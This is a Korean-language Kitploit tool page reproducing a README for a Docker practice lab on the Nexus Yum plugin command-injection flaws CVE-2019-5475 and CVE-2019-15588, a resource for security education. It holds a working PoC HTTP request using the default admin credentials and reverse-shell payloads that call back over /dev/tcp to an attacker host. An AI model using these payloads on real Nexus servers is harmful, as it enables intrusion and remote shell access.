Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-5475 — CVE-2019-5475 실습 환경: RCE 명령 주입 취약점 | Kitploit
도구/GitHubGitHub/exp-docs/cve-2019-5475
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubexp-docs/cve-2019-5475

CVE-2019-5475

CVE-2019-5475 실습 환경: RCE 명령 주입 취약점

저장소 보기
5313년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-5475

CVE-2019-5475 및 CVE-2019-15588 실습 환경: RCE 명령 주입 취약점


0x00 배경

CVE-2019-5475는 Nexus 내장 플러그인 Yum Repository의 RCE 명령 주입 취약점으로, hackerone에서 처음 공개되었습니다. 하지만 공식 첫 번째 수정이 불완전하여 CVE-2019-15588 취약점이 파생되었습니다.

이 두 취약점은 모두 admin으로 로그인한 후에만 악용할 수 있습니다. 그러나 Nexus 기본 관리자 비밀번호 admin123은 종종 수정되지 않아 쉽게 악용될 수 있습니다.

0x10 실습 환경

0x20 디렉터리 구조

root@kitploit:~
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│   └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]

0x40 실습 환경 구축

  • 호스트 머신에 docker와 docker-compose가 사전 설치되어 있어야 합니다.
  • 이 저장소를 다운로드: git clone https://github.com/lyy289065406/CVE-2019-5475
  • Nexus 빌드 디렉터리로 이동: cd CVE-2019-5475
  • Nexus 빌드 및 실행: docker-compose up -d
  • 약 5분 후 브라우저에서 Nexus에 접속할 수 있습니다 (BasicAuth는 admin/admin123). 내용은 다음과 같습니다:
NexusCVEURL
2.14.9CVE-2019-5475http://127.0.0.1:8009/nexus
2.14.14CVE-2019-15588http://127.0.0.1:8014/nexus

이 실습 환경에는 공격자 머신 172.168.50.2도 구축되어 있으며, 두 대의 대상 머신과 동일한 네트워크 환경에 있습니다. 그 역할은 리버스 셸을 검증하는 것입니다.

0x50 [CVE-2019-5475] 실습 검증

0x51 PoC

admin으로 http://127.0.0.1:8009/nexus/#capabilities에 로그인하고, Administration -> Capabilities -> Yum: Configuration -> Settings에서 RCE 주입 지점을 찾을 수 있습니다.

입력 필드 Path of "createrepo"와 Path of "mergerepo" 모두 주입이 가능하며, 실행 결과는 Status에서 확인할 수 있습니다.

예를 들어 createrepo 주입 지점에 PoC bash -c id || python을 구성하면 Status에서 명령 bash -c id의 실행 결과 uid=200(nexus) gid=200(nexus) groups=200(nexus)를 얻을 수 있습니다.

BurpSuite를 통해 해당 PoC 요청을 가로챌 수 있습니다:

root@kitploit:~
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x52 EXP

이 주입 지점은 리버스 셸을 구성하는 데 쉽게 악용될 수 있습니다:

  • 공격자 머신에 로그인: docker exec -it -u root docker_attacker /bin/bash
  • netcat을 사용하여 리버스 연결 수신: nc -lvvp 4444
  • 위 createrepo 주입 지점에 payload 구성: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

0x60 [CVE-2019-15588] 실습 검증

0x61 PoC

주입 위치는 CVE-2019-5475와 동일하며, PoC를 /bin/bash -c id || /createrepo로 조정합니다.

0x62 EXP

이 취약점도 동일한 방법으로 리버스 셸을 구성할 수 있습니다:

  • 공격자 머신에 로그인: docker exec -it -u root docker_attacker /bin/bash
  • netcat을 사용하여 리버스 연결 수신: nc -lvvp 4444
  • createrepo 주입 지점에 payload 구성: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x70 취약점 패치

  • CVE-2019-5475: 공식 첫 번째 패치
  • CVE-2019-15588: 공식 두 번째 패치

0x80 nexus-yum-core 정보

nexus-yum-core는 nexus에서 이 취약점 악용과 관련된 핵심 코드 조각입니다. 주로 백엔드에서 직접 입력된 payload를 디버그 및 분석하는 데 사용되며, 전체 Nexus 서비스를 소스 코드에서 구축할 필요가 없습니다.

0x90 참고 자료

  • https://paper.seebug.org/1260/
  • https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
도구 다운로드